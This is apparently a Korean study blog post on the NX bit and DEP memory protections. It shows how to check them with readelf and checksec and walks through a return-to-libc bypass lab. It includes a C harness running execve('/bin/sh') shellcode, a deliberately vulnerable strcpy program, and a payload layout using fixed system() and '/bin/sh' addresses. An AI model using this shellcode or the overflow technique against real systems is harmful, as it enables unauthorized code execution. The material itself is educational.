[Protection Tech.] NX bit

NX bit

= No(Never) eXecute bit (실행 방지 비트)

= 메모리에 쓰기 권한과 실행 권한을 동시에 부여하지 않음으로 해당 프로그램의 공격을 어렵게 한다; 프로세스 명령어나 코드, 데이터의 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술이다.

→ NX bit가 적용된 메모리 구역은 데이터 저장을 위해서만 사용되고, 프로세서 명령어가 실행되지 않도록 한다.

 

DEP

= Data Execution Prevention

= MS Windows 운영 체제에 포함된 보안기능으로, 악의적인 코드가 실행되는 것을 방지하기 위해 메모리를 추가적으로 확인하는 HW 및 SW 기술이다.

- 하드웨어 DEP: 메모리에 명시적으로 실행코드가 포함되어 있는 경우를 제외하고 프로세스의 모든 메모리 위치에서 실행할 수 없도록 표시한다.

- 소프트웨어 DEP: CPU가 하드웨어 DEP를 지원하지 않을 경우 사용한다.

→ 공격자가 heap이나 stack 영역에 shellcode를 저장해 실행하려면 heap, stack 영역에 실행권한이 있어야하는데

DEP가 적용되지 않았을 경우(DEP Disable) shell code가 실행된다.

DEP가 적용된 경우(DEP Enable) shellcode가 실행되지 않고 프로그램에서 예외처리를 한 후 프로세스가 종료된다.

 

NX bit가 적용되지않도록 컴파일 할 때(NX Disabled)는

gcc -z execstack

---

Example.

#include <stdio.h>
unsigned char code[] = 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
int main(void){
  void (*shellcode)() = (void(*)())code;
  
  printf("Executing shellcode\n");
  shellcode();
}

이 소스코드(example.c)를 각각 NX bit를 적용하고, 적용하지 않은 채로 컴파일한다.

ex_x: NX가 적용되지 않은 바이너리 (-z execstack) (process 8273)

ex_nx: NX가 적용된 바이너리 (process 8282)

 

1) ex_x : NX Disabled

바이너리의 데이터 영역과 스택 영역에 쓰기 및 실행 권한이 모두 있는 것을 알 수 있다.

바이너리를 실행했을 때 정상적으로 shell code가 실행된다!

 

2) ex_nx : NX Enabled

바이너리의 데이터 영역과 스택 영역이 실행권한은 부여되지 않음을 알 수 있다.

바이너리를 실행했을 때 데이터 영역에 실행 권한이 없기 때문에 Segmentation Fault 오류가 발생한다.

---

Detecting NX bit

- checksec 파일

 

- checksec.sh 파일에서 확인하기

1. Binary의 NX 설정여부 확인

: readelf 명령어를 이용해 파일의 세그먼트 헤더 정보에서 NX 설정 여부를 확인할 수 있다

▷ 바이너리의 Flg 값이 "RW"이면 NX 적용된 것 / "RWE"이면 NX 적용되지 않은 것

$ readelf -W -l ./바이너리 | grep 'GNU_STACK'

2. Process의 NX 설정여부 확인

: binary 의 확인 방식과 같다

$ readelf -W -l /proc/<PID>/exe | grep 'GNU_STACK'

3. CPU의 NX 설정여부 확인

: "/proc/cpuinfo" 파일에서 'nx'문자가 있는지 확인한다. 

▷ nx 문자가 있을 경우 해당 CPU는 NX 가 설정되어 있는 것

---

Bypassing NX bit -- RTL 

 

NX bit가 설정되어 있을 때는 쓰기 권한과 실행 권한이 동시에 있는 메모리 영역이 존재하지 않는다.

따라서, 프로그램에 스택 버퍼 오버플로우가 존재할 때는 메모리의 실행 가능한 영역에 있는 코드들을 활용해 실행 흐름을 바꿔 익스플로잇해야한다.

 

RTL (Return-to-libc)

리턴 주소를 라이브러리 내의 함수의 주소로 바꿔 NX bit를 우회할 수 있는 공격 기법

라이브러리 함수가 사용될 때 메모리에 로딩된 라이브러리 파일에서 호출된 해당 함수의 주소를 찾아 실행하게 된다. 즉, 프로그램에서 호출된 함수 외에도 로딩된 라이브러리의 다른 유용한 함수 코드들도 함께 로딩되어 활용할 수 있게된다.

 

리눅스 익스플로잇의 최종목표 = 쉘 바이너리를 실행하는 것

▷ libc.so.6 라이브러리에는 execve, execlp, execl, execvp, system, popen 등 프로그램을 실행할 수 있는 다양한 함수들이 존재한다. 그 중 system 함수는 실행할 쉘 명령어 문자열 주소인 하나의 인자만을 받기 때문에 익스플로잇할 때 자주 사용한다. → system("/bin/sh"문자열의주소) 를 호출하면 /bin/sh 바이너리가 실행되도록 하는 경우가 많다. (RTL의 최종 목표라고 할 수 있다!)

 

32bit 기준

리턴 주소에 사용자가 호출할 함수의 주소를 덮어쓴 후 ret을 하면 eip 레지스터에 덮어진 값(리턴 주소)이 저장되고, esp 레지스터는 리턴주소의 위치(eip레지스터에 저장된 값)+4가 된다.

 

func(1,2,3) 을 호출하는 경우

← func함수의 리턴 주소: func함수 종료 후 호출할 함수의 주소 = eip 레지스터에 덮어지는 값 (esp = 리턴주소 + 4)

← esp에 저장된 값 + 4: 함수 시작 부분에서의 인자의 위치

 

 

 

 

 

---

Example

//gcc -o ex1_nx ex1.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
#include <stdio.h>
int vuln(char * src){
  
  char buf[32] = {};
  
  strcpy(buf, src);
  return 0;
}
int main(int argc, char * argv[], char * environ[]){
  if (argc < 2){
    exit(-1);
  }
  vuln(argv[1]);
  return 0;
}

△ ex1.c 소스코드

- NX bit enabled >> 쓰기권한과 실행권한이 동시에 주어지는 영역이 없다.

- strcpy() 함수 사용 >> buffer overflow 취약성을 가지고 있다.

 

- buf 배열부터 vuln함수의 RET (리턴 주소위치)까지의 거리는 32 + 4 = 36 byte이다.

- eip 레지스터 = 0x42424242 (= BBBB)

** EIP 레지스터 **

CPU에게 다음에 해야할 일이 무엇인지 전해주는 레지스터

EIP 레지스터에 들어갈 값을 조작함으로 프로그램의 실행흐름을 바꿔줄 수 있다.

- esp-4 메모리 = ret을 하기 전의 스택 포인터 = 0x42424242 

** ESP 레지스터 **

스택의 크기를 조정하는 레지스터

스택의 최상단 주소값을 가지고 있으며 이는 스택의 크기를 의미한다.

exploit

system("/bin/sh")를 호출하는 익스플로잇 코드

"A"*36 + system함수 주소(RET) + "BBBB"(system함수 종료 후 리턴할 주소) + "/bin/sh"문자열의 주소

system함수 주소: 0xf7e3cdb0

"/bin/sh" 주소: 0xf7f5db0b

 

"/bin/sh"문자열은 현재 libc-2.23.so 라이브러리에 존재한다. 

 

**라이브러리 메모리의 system, popen 등의 쉘 명령어 실행 함수들이 내부적으로 "/bin/sh" 문자열을 사용하기 때문에 라이브러리 메모리 내에서 문자열을 찾을 수 있게 된다.

ALSR 2로 설정된 상태에서 실행

성공!!

ASLR의 값을 0으로 변경해주고 실행해야 한다. 그렇지 않으면 라이브러리 함수의 주소가 계속 바뀌기 때문에 dream hack 예제에서와 같이 바로 system함수의 주소가 디버거에서 구한 함수의 주소와 달라지기 때문에 제대로 호출할 수 없게 된다.